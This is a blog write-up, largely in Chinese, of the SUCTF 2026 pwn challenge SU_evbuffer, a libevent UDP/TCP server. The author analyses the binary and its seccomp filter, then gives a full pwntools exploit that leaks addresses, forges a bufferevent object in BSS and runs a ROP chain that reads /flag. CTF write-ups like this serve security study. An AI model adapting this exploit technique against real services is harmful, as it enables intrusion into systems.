SUCTF 2026

SU_evbuffer

服务器???

开了8888和8889两个监听端口

socket(2->ipv4,2->UDP,0)

UDP监听,8889

TCP监听,8888

tcp由于稳定大多用于核心业务,udp则是发个小数据包看看服务器在不在之类的

总之udp要的是快,tcp要稳(我在说什么废话)

无论数据从哪个端口进入,最终都会汇聚到 sub_13A4 函数进行处理

sub_12E5开了个seccomp

ban了59和322系统调用

exe是不行了,但是可以orw或者mprotect,sendfile

回调函数sub_1630

我们先看看UDP的callback function

看看sub_1344

看看sub_1318

free(ptr)

malloc(0x50)

leak一下

get libc_base

刚才的不行,我们改一下主机名再看看其它leak的指针

不太得劲,我得换个想法

Obviously, the challenge is fixed with utilization of heap and web server

we also need to learn the structure of libevent

In remote, the hostname is ‘pwn’

难道这leak的addr是完全随机的???

s只有0x70

UDP的回调函数

sub_1630 参数 来源 (从 event_new 传入) 具体含义
**<font style="color:rgb(68, 71, 70);">fd</font>** <font style="color:rgb(68, 71, 70);">fd</font> 触发事件的文件描述符(即 8889 端口的 UDP Socket)。
**<font style="color:rgb(68, 71, 70);">a2</font>** <font style="color:rgb(68, 71, 70);">18LL</font>
(0x12)
触发的事件类型<font style="color:rgb(68, 71, 70);">18</font>
`EV_READ (0x02)
**<font style="color:rgb(68, 71, 70);">dest_1</font>** **<font style="color:rgb(68, 71, 70);">&s_</font>** 用户自定义参数。在 <font style="color:rgb(68, 71, 70);">main</font>
中传入的是全局变量 <font style="color:rgb(68, 71, 70);">s_</font>
的地址。

可以接收0x3ff=1023到buf,但buf有1032字节,没有overflow

addr_len = 16是地址长度,ipv4正好是16

看看sub_13a4

dest ->s

s = 0x70

n_max = 1023

也就是说,我们可以覆盖s开始的1023数据

  • **dest + 32**:对应结构体中的某个标志位。
  • **dest + 40**:对应一个 bufferevent 指针

可以通过memcpy set dest+32 ==1 and dest+40-> pointer

看看tcp

unk_4078在s_高地址

从 TCP 连接(bufferevent)中读取最多 1023 字节到栈缓冲区 src

dest 传入的是 **&unk_4078**


地址 (BSS) 角色 状态
**<font style="color:rgb(68, 71, 70);">0x4040</font>** <font style="color:rgb(68, 71, 70);">s_</font> 最佳的 Fake Object 放置点(可以通过 UDP 提前布置)。
**<font style="color:rgb(68, 71, 70);">0x4078</font>** <font style="color:rgb(68, 71, 70);">unk_4078</font> TCP 状态结构体。
**<font style="color:rgb(68, 71, 70);">0x4098</font>** <font style="color:rgb(68, 71, 70);">unk_4078 + 32</font> 必须为 <font style="color:rgb(68, 71, 70);">1</font>
才能进入漏洞分支。
**<font style="color:rgb(68, 71, 70);">0x40A0</font>** <font style="color:rgb(68, 71, 70);">unk_4078 + 40</font> 劫持目标(指向伪造对象的指针)。
绝对地址 相对 0x4040 偏移 变量含义 攻击侧重点
<font style="color:rgb(68, 71, 70);">0x4040</font> <font style="color:rgb(68, 71, 70);">+0x00</font> UDP 结构 <font style="color:rgb(68, 71, 70);">s_</font>
首地址
Payload 起点,也是放置 Fake Object 的好地方。
<font style="color:rgb(68, 71, 70);">0x4070</font> <font style="color:rgb(68, 71, 70);">+0x30</font> UDP 监听 <font style="color:rgb(68, 71, 70);">fd</font> 覆盖时需注意,如果填入无效值会导致后续 UDP 发送失败。
<font style="color:rgb(68, 71, 70);">0x4078</font> <font style="color:rgb(68, 71, 70);">+0x38</font> TCP 结构 <font style="color:rgb(68, 71, 70);">unk_4078</font> 被溢出淹没的目标结构体。
<font style="color:rgb(68, 71, 70);">0x4098</font> <font style="color:rgb(68, 71, 70);">+0x58</font>
(即 <font style="color:rgb(68, 71, 70);">+32</font>
)
Flag 位 必须被覆盖为 **<font style="color:rgb(68, 71, 70);">1</font>**
,以通过 <font style="color:rgb(68, 71, 70);">sub_13A4</font>
的条件检查。
<font style="color:rgb(68, 71, 70);">0x40A0</font> <font style="color:rgb(68, 71, 70);">+0x60</font>
(即 <font style="color:rgb(68, 71, 70);">+40</font>
)
<font style="color:rgb(68, 71, 70);">bufferevent</font>
指针
核心劫持点。需要将其覆盖为你伪造的结构体地址(例如 <font style="color:rgb(68, 71, 70);">0x4040</font>
)。

after hijeck the 0x40a0,

  1. 获取 output 缓冲区 (解引用你伪造的指针)

output = bufferevent_get_output(*(_QWORD *)(dest + 40));

  1. 将新分配的堆块 s 挂载到 output 上

evbuffer_add_reference(output, (__int64)s, 80LL, (_int64)free, 0LL);

我们再看看evbuffer_add_reference()函数是干什么的

ok,分析得差不多了

总结一下思路

通过UDP memcpy payload into 0x4040(s_),伪造结构体放ROP(orw),fd,\x90,dest+32=1,*bufferevent->we need pointer

先连 TCP8888。触发 sub_16EA,在 BSS 的 0x4078 生成一个合法的状态结构体

然后用UDP发payload

大致如此

主机名不能太长,不然会出现奇怪的问题

sudo hostnamectl set-hostname shark

用这个改

wc ,拉个docker更稳定

环境问题还是太神奇了

这才对吗,没想到系统版本还会影响数据泄露(今天是跟evbuffer瞪眼的第5天)

我们看看udp和tcp都泄露了什么

we get pie in udp

the libevent_base in tcp

ok

我们看看libevent有什么用

给题目给的libe改一下名,再patchelf,当然直接用本机的libe也是可以的

libe里面还真有gadgets

pwndbg太好用了你知道吗

我还发现了一个问题

多了0x4

ok

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
#!/usr/bin/env python3
from pwn import *
context.binary = ELF("/pwn/SU_evbuffer/pwn")
libe = ELF("/pwn/SU_evbuffer/libevent-2.1.so.7")
libc = ELF("/pwn/SU_evbuffer/libc.so.6")
io = remote("127.0.0.1",8889, typ='udp')
ip = remote("127.0.0.1",8888, typ='tcp')
context.arch = 'amd64'
context.log_level = 'debug'
payload1 = b"127.0.0.3\x00"
#payload1+= b"\x90"*24
#io.send(payload1.encode())
io.send(payload1)
data = io.recv(80)
print(f"Received {len(data)} bytes")
print(hexdump(data))
leak_addr1 = u64(data[0x30:0x38])
leak_addr2 = u64(data[0x38:0x40])
leak_addr3 = u64(data[0x40:0x48])
leak_addr4 = u64(data[0x48:0x50])
leak_addr5 = u64(data[0x28:0x30])
leak_addr6 = u64(data[0x20:0x28])
leak_addr7 = u64(data[0x18:0x20])
print(f"泄露的地址1: {hex(leak_addr1)}")
print(f"泄露的地址2: {hex(leak_addr2)}")
print(f"泄露的地址3: {hex(leak_addr3)}")
print(f"泄露的地址4: {hex(leak_addr4)}")
print(f"泄露的地址5: {hex(leak_addr5)}")
print(f"泄露的地址6: {hex(leak_addr6)}")
print(f"泄露的地址7: {hex(leak_addr7)}")
pie_base = leak_addr4 - 0x1619
print(f"PIE地址: {hex(pie_base)}")
ip.send(payload1)
data1 = ip.recv(80)
leak_addr11 = u64(data1[0x30:0x38])
leak_addr12 = u64(data1[0x38:0x40])
leak_addr13 = u64(data1[0x40:0x48])
leak_addr14 = u64(data1[0x48:0x50])
leak_addr15 = u64(data1[0x28:0x30])
leak_addr16 = u64(data1[0x20:0x28])
leak_addr17 = u64(data1[0x18:0x20])
print(f"泄露的地址11: {hex(leak_addr11)}")
print(f"泄露的地址12: {hex(leak_addr12)}")
print(f"泄露的地址13: {hex(leak_addr13)}")
print(f"泄露的地址14: {hex(leak_addr14)}")
print(f"泄露的地址15: {hex(leak_addr15)}")
print(f"泄露的地址16: {hex(leak_addr16)}")
print(f"泄露的地址17: {hex(leak_addr17)}")
print(f"Received {len(data1)} bytes")
print(hexdump(data1))
libevent_base = leak_addr17 - 0x137d8
print(f"libevent基地址: {hex(libevent_base)}")



io.close()
ip.close()

fd = 11
flag_fd = fd + 1
def build_payload(fd, flag_fd):
add_rsp_8_ret = pie_base + 0x1012
pop_rdi = pie_base + 0x194B
exit_plt = pie_base + 0x11D0

pop_rsp_ret = libevent_base + 0xCF2D
pop_rsi = libevent_base + 0xD2E5
pop_rdx_rbx_rbp_r12 = libevent_base + 0x339DD
open_plt = libevent_base + 0xCB24
read_plt = libevent_base + 0xC904
write_plt = libevent_base + 0xC714

base_addr = pie_base + 0x4040
fake_bev = pie_base + 0x3F38
fake_ev = pie_base + 0x4140
fake_cb = pie_base + 0x41C0
rop_stack = pie_base + 0x4240
path_addr = pie_base + 0x4380
buf_addr = pie_base + 0x43C0

payload = bytearray(b"\x00" * 0x420)

# overwrite Udp
payload[:10] = b"127.0.0.1\x00"
payload[0x10:0x18] = p64(fake_ev)
payload[0x30:0x34] = p32(6)
payload[0x58:0x5C] = p32(1)
payload[0x60:0x68] = p64(fake_bev)

# fake evbuffer
ev_off = 0x100
payload[ev_off+0x10 : ev_off+0x18] = p64(fake_ev)
payload[ev_off+0x18 : ev_off+0x20] = p64((pop_rsp_ret + rop_stack - 0x50) & 0xFFFFFFFFFFFFFFFF)
payload[ev_off+0x20 : ev_off+0x28] = p64(rop_stack - 0x50)
payload[ev_off+0x78 : ev_off+0x80] = p64(fake_cb)

# fake callback
cb_off = fake_cb - base_addr
payload[cb_off+0x10 : cb_off+0x18] = p64(add_rsp_8_ret)
payload[cb_off+0x20 : cb_off+0x24] = p32(1)

rop = [
pop_rdi, path_addr, pop_rsi, 0, open_plt,
pop_rdi, flag_fd, pop_rsi, buf_addr, pop_rdx_rbx_rbp_r12, 0x80, 0, 0, 0, read_plt,
pop_rdi, fd, pop_rsi, buf_addr, pop_rdx_rbx_rbp_r12, 0x80, 0, 0, 0, write_plt,
pop_rdi, 0, exit_plt
]
rop_bytes = b"".join(p64(x) for x in rop)
payload[rop_stack - base_addr : rop_stack - base_addr + len(rop_bytes)] = rop_bytes

path = b"/flag\x00"
payload[path_addr - base_addr : path_addr - base_addr + len(path)] = path

return bytes(payload)

#flag_fd = fd + 1
payload = build_payload(fd, flag_fd)
io = remote("127.0.0.1",8889, typ='udp')
ip = remote("127.0.0.1",8888, typ='tcp')
io.send(payload)
sleep(0.2)
ip.send(b"127.0.0.1\x00")
out = ip.recv(timeout=2.0)
print(out)
io.close()
ip.close()

wc,终于成了


SUCTF 2026
https://ghostshark-pro.github.io/2026/04/23/SUCTF 2026/
Author
shark
Posted
2026年4月23日
License